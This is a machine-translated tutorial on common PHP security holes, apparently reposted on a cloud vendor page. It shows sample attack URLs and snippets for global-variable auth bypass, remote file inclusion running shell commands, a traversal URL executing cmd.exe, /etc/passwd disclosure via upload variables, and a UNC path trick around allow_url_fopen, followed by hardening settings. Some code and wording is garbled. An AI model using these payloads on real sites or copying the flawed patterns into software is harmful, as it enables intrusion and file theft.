Common Vulnerabilities and Code instances _php techniques in PHP programming

Source: Internet
Author: User
Tags auth ftp site session id php programming php script sessions

is not impregnable, with the wide use of PHP, some hackers also do not want to find PHP in the trouble, through the PHP Program vulnerability attack is one of them. In the section, we will analyze PHP security from global variables, remote files, file uploads, library files, session files, data types, and error-prone functions.

How do I attack through global variables?

Variables in PHP do not need to be declared in advance, they are created automatically the first time they are used, and their types are automatically determined according to the context environment. From a programmer's point of view, this is an extremely convenient way of handling. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers rarely initialize variables.

Obviously, the main function of a PHP based application is generally to accept user input (mainly form variables, upload files and cookies, etc.), then process the input data and return the results to the client browser. In order for the PHP code to access the user's input as easily as possible, PHP is actually treating these input data as a global variable.

For example:

Copy Code code as follows:

<form method= "Get" action= "test.php" >
<input type= "TEXT" name= "Hello" >
<input type= "SUBMIT" >
</FORM>

This displays a text box and a Submit button. When the user clicks the Submit button, "test.php" handles the user's input, and when "test.php" runs, "$hello" contains the data that the user entered in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If the attacker does not call "test.php" through form input, but instead enters Http://server/test.php?hello=hi&setup=no directly in the browser address bar, then more than just "$hello" is created, "$setup "has also been created.

The following user authentication code exposes the security problems caused by the global variables of PHP:
PHP code

Copy Code code as follows:

<?php
if ($pass = = "Hello")
$auth = 1;
...
if ($auth = = 1)
echo "Some important information";
?>

The above code first checks whether the user's password is "Hello", if match, set "$auth" to "1", that is, through authentication. Then, if "$suth" is "1", some important information will be displayed.

This code assumes that "$auth" is empty when no value is set, but that an attacker can create any global variable and assign a value, and by means of a similar "http://server/test.php?auth=1" method, we can completely spoof this code to make it believe that we are authenticated.

Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not explicitly defined. If there are many variables in the program, this is a very difficult task.

A common protection is to check the variables in the array http_get[] or post_vars[], depending on the way we commit (get or post). When PHP is configured to open the "track_vars" option (which is the default), the user-submitted variables can be obtained in the global variable and in the array mentioned above.

But it's worth noting that PHP has four different array variables to handle user input. The Http_get_vars array is used to handle the variables submitted by the Get method, the Http_post_vars array is used to handle the variables submitted by POST, and the Http_cookie_vars array is used to process variables submitted as COOKIE headers, and for HTTP_ The post_files array, which is provided by the newer PHP, is entirely an alternative way for users to submit variables. A user request can easily put variables in these four arrays, so a secure PHP program should check these four arrays.

How do I attack from a remote file?

PHP is a rich language and provides a number of functions that make it easy for programmers to implement specific functions. But from a security standpoint, the more features there are, the harder it is to secure it, and the remote file is a good example of this problem:

Copy Code code as follows:

<?php
if (!) ( $FD = fopen ("$filename", "R"))
Echo ("Could not open file: $filename
\ n");
?>

The above script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other Web or FTP site. In fact, most of the file processing functions of PHP are transparent to the processing of remote files.

For example:
If you specify "$filename" as "Http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

The above code actually executes the dir command using a Unicode vulnerability on host target. This enables the include (), require (), include_once () and require_once () of remote files to become more interesting in the context. These functions are primarily used to contain the contents of the specified file and to interpret them in the PHP code, mainly on the library file.

For example:

Copy Code code as follows:

<?php
Include ($libdir. "/languages.php");
?>

In the example above, "$libdir" is typically a path that has been set before the code is executed, and if an attacker can make "$libdir" not set, then he can change the path. But attackers cannot do anything because they can only access file languages.php in the path they specify (the "Poisonnull byte" attack in Perl has no effect on PHP). But with support for remote files, an attacker can do anything. For example, an attacker could place a file languages.php on a server containing the following:

Copy Code code as follows:

<?php
PassThru ("/bin/ls/etc");
?>

The "$libdir" is then set to "http:// /" so that we can execute the above attack code on the target host, and the contents of the "/etc" directory will be returned to the customer's browser as a result.

It should be noted that the attack code does not execute its own PHP program on its own server (i.e. evilhost), otherwise the attack code attacks its own server instead of executing on the target server.

How do I attack through file uploads?

PHP automatically supports file uploads based on RFC 1867, let's look at the following example:

Copy Code code as follows:

<form method= "POST" enctype= "Multipart/form-data" >
<input type= "FILE" name= "Hello" >
<input type= "HIDDEN" name= "max_file_size" value= "10240" >
<input type= "SUBMIT" >
</FORM>

The above code allows the user to select a file from the local machine, and the file is uploaded to the server when the submission is clicked. This is obviously a useful feature, but the way PHP responds will make this feature unsafe. When PHP first receives this request, and even before it starts parsing the invoked PHP code, it accepts the remote user's file, checking whether the file is longer than the value defined by the "$MAX _file_size variable", if you pass these tests, The file will be present in a local temporary directory.
As a result, an attacker could send arbitrary files to the host running PHP, and the file was already on the server when the PHP program had not yet decided whether to accept the file upload.

Let's consider the PHP program that handles file uploads, as we said above, that the file is received and exists on the server (the location is specified in the configuration file, generally/tmp), and the extension is generally random, similar to the "Phpxxuoxg" form. The PHP program needs to upload information about the file to handle it, which can be done in two ways, one in the PHP3, and the other in the security bulletin we put in the previous method.

Most PHP programs still use the old way to process uploaded files. PHP set up four global variables to describe the uploaded file, such as the above example:

Copy Code code as follows:

$hello = Filename on the local machine (e.g "/TMP/PHPXXUOXG")
$hello _size = size in bytes of file (e.g 1024)
$hello _name = The original name of the file on the remote system (e.g "C:\\temp\\hello.txt")
$hello _type = Mime type of uploaded file (e.g "Text/plain")

The PHP program then starts processing files that are specified according to "$hello." The problem is that "$hello" is not necessarily a variable in PHP settings, and any remote user can specify it. If we use the following method:

Http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name= Hello.txt

leads to the following PHP global variable (and, of course, the post can be (or even a cookie)):

Copy Code code as follows:

$hello = "/etc/passwd"
$hello _size = 10240
$hello _type = "Text/plain"
$hello _name = "Hello.txt"

The above form data just satisfies the PHP program's expected variables, but then the PHP program no longer deals with uploaded files that should be on the upload's computer, but instead handles "/etc/passwd" (which usually results in content exposure) files on the server. This attack can be used to expose the contents of any sensitive file.

The new version of PHP uses http_post_files[] to decide which files to upload, as well as a number of functions to solve the problem, such as a function to determine whether a file is actually contained in a file. But there are certainly a lot of PHP programs that still use the old method, so they are vulnerable to this attack.

As a variant of the attack method for file uploads, let's take a look at the following code:

Copy Code code as follows:

<?php
if (file_exists ($theme))//Checks the file exists on the local system (noremote files)
Include ("$theme");
?>

If an attacker can control "$theme", it is clear that it can use "$theme" to read any file on the remote system. The attacker's ultimate goal was to execute arbitrary instructions on the remote server, but he was unable to use the remote file, so he had to create a PHP file on the remote server. This may seem impossible at first glance, but file uploads help us if an attacker first creates a file containing PHP code on the local machine and then creates a form that contains a file field named "Theme." Finally, using this form to upload the created file containing the PHP code to the above code, PHP saves the file the attacker submitted and sets the value of "$theme" to the attacker's file, so the file_exists () function checks through. The attacker's code will also execute.
After acquiring the ability to execute arbitrary instructions, the attacker apparently wanted to elevate permissions or gain more, which in turn required a set of tools not available on the server, and the file upload once again helped the attacker. Attackers can upload tools using the File upload feature, put them on the server, and then take advantage of their ability to execute instructions, use chmod () to change file permissions, and then execute. For example, an attacker could upload a local root attack program bypassing a firewall or IDs, and then execute it, thus obtaining root privileges.

How do I attack through a library file?

As we discussed earlier, include () and require () are primarily designed to support code libraries, because we typically put some of the functions that are often used in a separate file, which is the code base, and when you need to use the functions in it, We just need to include this code library in the current file.

Initially, when people developed and published PHP programs, in order to distinguish between code base and main program code, they typically set an ". Inc" extension for the code base file, but they quickly discovered that this was a mistake because such a file could not be correctly parsed into PHP code by the PHP interpreter. If we directly request this file on the server, we will get the source code of the file, because when PHP is used as an Apache module, the PHP interpreter is based on the file extension to determine whether to parse the PHP code. The extension is specified by the site administrator, typically ". php", ". PhP3" and ". PhP4". If important configuration data is contained in a PHP file that does not have a suitable extension, it is easy for a remote attacker to get this information.

The easiest way to do this is to specify a php file extension for each file. This is a good way to prevent leaks from the source code, but it creates a new problem that, by requesting this file, an attacker could run the code that was supposed to run in the context, which could lead to all the attacks discussed earlier.

Here is an obvious example:

Copy Code code as follows:

In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
Include ("$libdir/loadlanguage.php":
?>

In libdir/loadlanguage.php:
<?php
...

Include ("$langDir/$userLang");
?>

It is quite secure when "libdir/loadlanguage.php" is called "main.php", but because "libdir/loadlanguage" has an extension of ". PHP", remote attackers can request this file directly, And you can specify the values of $langDir and $userLang arbitrarily.

How do I attack through the session file?

PHP 4 or newer versions provide support for sessions, whose primary role is to save state information between pages and page in a PHP program. For example, when a user logs on to the site, the fact that he landed and the information about who logged into the site will be saved in session, and when he is browsing the site, all of the PHP code can get these status messages.

In fact, when a session is started (which is actually set in the configuration file to start automatically on the first request), a random "Sessions ID" is generated, and if the remote browser always submits the "session ID" when the request is sent, The session will always be maintained. This is easy to implement with cookies, or it can be done by submitting a form variable (containing the session ID) on each page. PHP program can register a special variable with session, its value will be in the session file after each PHP script is finished, and will be loaded into the variable before each PHP script starts. The following is a simple example:

Copy Code code as follows:

<?php
Session_destroy (); Kill any data currently in the session
$session _auth = "Shaun";
Session_register ("Session_auth"); Register $session _auth as a session variable
?>

The new version of PHP will automatically set the "$session _auth" value to "Shaun", if they are modified, the future script will automatically accept the modified value, which for the stateless web is indeed a good tool, but we should also be careful.

One obvious problem is to make sure that the variables actually come from the session, for example, given the code above, if the following script is the case:

Copy Code code as follows:

<?php
if (!emptyempty ($session _auth))
Grant Access to Site
?>

The code above assumes that if "$session _auth" is assigned a value from the session rather than from the user input, the attacker can gain access to the site if it is assigned a value through form input. Note the attacker must use this attack method before the session registers the variable, and any form input will be overwritten once the variable is placed in session.

Session data is generally saved in a file (the location is configurable, generally "/tmp"), and the filename is generally similar to "Sess_<session id>", which contains the variable name, variable type, variable value, and some other data. In a multihomed system, because a file is saved as a user who is running a Web server (typically nobody), a malicious site owner can gain access to other sites by creating a session file, and can even check for sensitive information in the session file.

The session mechanism also provides another convenience for attackers to save their input to a file in a remote system. For the above example, the attacker would need to place a file containing PHP code on the remote system, and if the file could not be uploaded, he would usually use the session to assign a value to a variable, then guess the location of the session file, and he knew that the filename was "php <session id> ", so just guess the directory, and the directory is generally"/tmp ".

In addition, an attacker could optionally specify "session ID" (such as "Hello") and then use this "session ID" to create a session file (such as "/tmp/sess_hello"), but "session ID" can only be a combination of letters and numbers.

How do I attack through a data type?

PHP has a relatively loose data type, and the type of the variable depends on the context in which they are located. For example, "$hello" begins with a string variable with a value of "", but when evaluated, it becomes the reshaping variable "0", which can sometimes lead to unexpected results. If the value of "$hello" is different for "000" or "0", the result returned by empty () will not be true.

The array in PHP is an associative array, that is, the index of the array is a string type. This means that "$hello [" 000 "]" and "$hello [0]" are also different.

When developing a program, you should consider the above question carefully, for example, we should not test whether a variable is "0" in one place and use empty () to verify it in another place.

How do I attack through an error-prone function? Here's a list of more detailed, error-prone functions:

Copy Code code as follows:

1. <php Code execution >
2. Require (): reads the contents of the specified file and interprets it as a PHP code
3. Include (): Ibid.
4. Eval (): Executes the given string as PHP code
5. Preg_replace (): When used with the "/e" switch, the replacement string will be interpreted as PHP code
6.
7. < command execution >
8. EXEC (): Executes the specified command, returning the last row of the execution result
9. PassThru (): Executes the specified command, returns all results to the client browser
10. ': Execute specified command, return all results to an array
System (): Same as PassThru (), but does not process binary data
Popen (): Executes the specified command to connect input or output to the PHP file descriptor
13.
< file leaks >
fopen (): Opens the file and corresponds to a PHP file descriptor
ReadFile (): Read the contents of the file, and then output to the client browser
File (): Read the entire contents of the file into an array

How do I enhance PHP security?

All of the attacks we described above are well implemented for the default installed PHP4, but the PHP configuration is very flexible, and by configuring some PHP options, we are likely to be able to resist some of these attacks. Below we classify some configurations according to the difficulty of implementation:

Copy Code code as follows:

* Low Difficulty
* * Medium and low difficulty
Medium and high difficulty
High Difficulty

If you use all of the options provided by PHP, your PHP will be safe, even for Third-party code, because many of these features are already out of use.

Set "Register_globals" to "off"

This option prevents PHP from creating global variables for user input, that is, if the user submits the form variable "Hello", PHP will not create "$ hello" and will only create "http_get/post_vars[' Hello". This is one of the most important options in PHP, and turning off this option can cause a lot of inconvenience to programming.

Set "Safe_mode" to "on"

Opening this option increases the following restrictions:

1. Limit which commands can be executed
2. Limit which functions can be used
3. File access restrictions based on script ownership and target file ownership
4. Prohibit file upload features

This is a "great" option for ISPs, and it's also a great way to improve PHP security.

* * Set "Open_basedir"

This option prevents file operations outside the specified directory, effectively eliminating local files or attacks by include (), but still requires attention to file uploads and session file attacks.

* * Set "display_errors" to "off" and set "Log_errors" to "on"

This option prevents the error message from being displayed in the Web page, but is logged to the log file, which effectively resists the attacker's detection of the function in the target script.

* Set "Allow_url_fopen" to "off"

This option prevents remote file functionality.

Copy Code code as follows:

Here Allow_url_fopen notice, see on JNC blog, can use

<?php
Include (' \\myip\test.php ');
?>

<?php
Include ('//myip\test.php ');
?>


To spare?

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.